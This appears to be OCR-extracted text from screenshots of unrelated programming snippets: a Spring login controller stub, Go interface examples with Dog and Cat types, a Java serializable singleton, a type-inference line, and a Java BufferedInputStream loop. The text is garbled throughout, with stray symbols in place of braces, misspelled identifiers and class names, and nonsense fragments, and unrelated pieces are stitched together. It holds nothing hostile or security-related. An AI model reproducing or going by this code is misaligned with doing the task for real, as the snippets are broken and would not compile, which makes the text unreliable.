}
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@Controller
public class UserController {

(@RequestMapping("/login™)

public String login(
@RequestParam(value="userName") String name,
@RequestParam(value="password") String pwd
) {
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Deslen e ljuterael(

eat()

Jj

type Dog struct {
weight int

)y

func (d *Dog) eat() {
fmt.Printf("Dog is eating\n")

3

type Cat struct {
weight int

3
func (a *Cat) eat() {
fmt.Printf("Cat is eating\n")

func main() {

func‘eat(a Animal) {

o.eat()7

}
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public class FileIO implements Serializable {

private static final class FileIOHolder {
private static final FileIO INSTANCE = new FileIO();

¥

private FileIo() {}

public static FileIO getInstance() {
return FileIOHolder.INSTANCE;

2

private Object readResolve() {
return FileIOHolder.INSTANCE;

}
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var x =5 // "Int’ type is inferred
x +=1
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InputStream fis1 = new FileInputStream("D:\\ioFile.txt");

InputStream bis = new BufferedInputStream(fisl);

byte[] bufi = new byte[100];

\hile((temp = bis.read(bufl))!=-1){
Systen.out.println("BufferedInputStrean: “+neu String(bufl,e,100));

¥

fisl.close();
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